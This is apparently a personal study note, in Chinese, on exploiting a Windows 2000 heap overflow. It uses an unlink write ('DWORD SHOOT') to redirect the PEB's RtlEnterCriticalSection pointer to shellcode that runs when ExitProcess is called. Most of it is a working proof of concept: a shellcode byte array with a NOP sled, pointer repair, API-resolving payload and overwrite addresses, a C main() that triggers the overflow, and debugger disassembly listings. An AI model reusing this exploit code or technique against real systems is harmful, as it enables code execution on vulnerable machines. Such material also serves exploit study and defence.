我知道原理了：
当
int remove()
{
node->blink->flink = node->flink;
//这个是flink x88x06x36x00 这个是blink //x20xf0xfdx7f";
//将系统RtlEnterCritucalSection 的 flink指向 我们的shellcode起始地址 造成DWORD SHOOT
node->flink->blink = node->blink;
//这里看到是二次 DWORD SHOOT 但此次 影响不大
}
DWORD SHOOT 目标是 0x7ffdf020 处的 RtlEnterCriticalSection 函数指针，指向shellcode起始地址
DWORD SHOOT 完毕后，堆溢出导致异常，最终导致调用ExitProcess 结束进程
ExitProcess 在结束进程时需要调用 临界区函数来同步线程，但却从 P.E.B 中拿出了指向shellcode的指针，因此 shellcode被执行
77F89103 > 64:8B0D 1800000>mov ecx,dword ptr fs:[0x18] RtlEnterCriticalSection 77F89134 > 8B5424 04 mov edx,dword ptr ss:[esp+0x4] RtlLeaveCriticalSection 004013A5 > 64:A1 3000000>mov eax,dword ptr fs:[0x30] 004013AB 8B40 20 mov eax,dword ptr ds:[eax+0x20] ; ntdll.RtlEnterCriticalSection 004013A5 > 64:A1 3000000>mov eax,dword ptr fs:[0x30] 004013AB 8B40 24 mov eax,dword ptr ds:[eax+0x24] ; ntdll.RtlLeaveCriticalSection ExitProcess 77E6E01A > 55 push ebp 77E6E01B 8BEC mov ebp,esp 77E6E01D 6A FF push -0x1 77E6E01F 68 A0E0E677 push KERNEL32.77E6E0A0 77E6E024 68 B4F0E777 push KERNEL32.77E7F0B4 77E6E029 64:A1 00000000 mov eax,dword ptr fs:[0] 77E6E02F 50 push eax 77E6E030 64:8925 0000000>mov dword ptr fs:[0],esp 77E6E037 51 push ecx 77E6E038 51 push ecx 77E6E039 81EC 98000000 sub esp,0x98 77E6E03F 53 push ebx 77E6E040 56 push esi 77E6E041 57 push edi 77E6E042 803D 0800EC77 0>cmp byte ptr ds:[0x77EC0008],0x0 77E6E049 0F85 5CAD0200 jnz KERNEL32.77E98DAB 77E6E04F FF15 A010E677 call dword ptr ds:[<&NTDLL.RtlAcquirePeb>; ntdll.RtlAcquirePebLock 77F8C258 > 64:A1 18000000 mov eax,dword ptr fs:[0x18] //teb 77F8C25E 8B40 30 mov eax,dword ptr ds:[eax+0x30]//peb 77F8C261 FF70 1C push dword ptr ds:[eax+0x1C] 77F8C264 FF50 20 call dword ptr ds:[eax+0x20] // 调用shellcode //本来调用的是 77F89103 RtlEnterCriticalSection
DWORD SHOOT 利用申请内存 造成 “掉包” 内存的指向 实现 将指定跳转 跳转到我们指定的shellcode处
2000 下
char shellcode[]=
"x90x90x90x90x90x90x90x90"
"x90x90x90x90"
//repaire the pointer which shooted by heap over run
"xB8x20xF0xFDx7F" //MOV EAX,7FFDF020
"xBBx03x91xF8x77" //MOV EBX,77F8AA4C the address here may releated to your OS
"x89x18" //MOV DWORD PTR DS:[EAX],EBX
"xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
"x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
"x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
"x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"
"xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"
"x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"
"xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"
"xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"
"x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"
"x53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50"
"x53xFFx57xFCx53xFFx57xF8x90x90x90x90x90x90x90x90"
"x16x01x1Ax00x00x10x00x00"// head of the ajacent free block
"x88x06x36x00x20xf0xfdx7f";//需要重新查看，7ffdf020 只是存放有 RtlEnterCriticalSection 的地址，修改这个值
//0x00520688 is the address of shellcode in first heap block, you have to make sure this address via debug
//0x7ffdf020 is the position in PEB which hold a pointer to RtlEnterCriticalSection()
//and will be called by ExitProcess() at last
main()
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
//__asm int 3 //used to break the process
//memcpy(h1,shellcode,200); //normal cpy, used to watch the heap
memcpy(h1,shellcode,0x200); //overflow,0x200=512
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}这里利用 DWORD SHOOT 覆盖SEH 也就是 新申请内存时
node->bilink->flink = node->flink;
在内存中 显示：
flink 4字节 blink 4字节
！ ！ ！ ！ ！ ！ ！ ！
我们的shellcode起始 SEH地址
将SEH 指向 我们的shellcode
但还是不成功啊！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！
不知道为什么 不成功
擦·我看到好像只有2000才能成功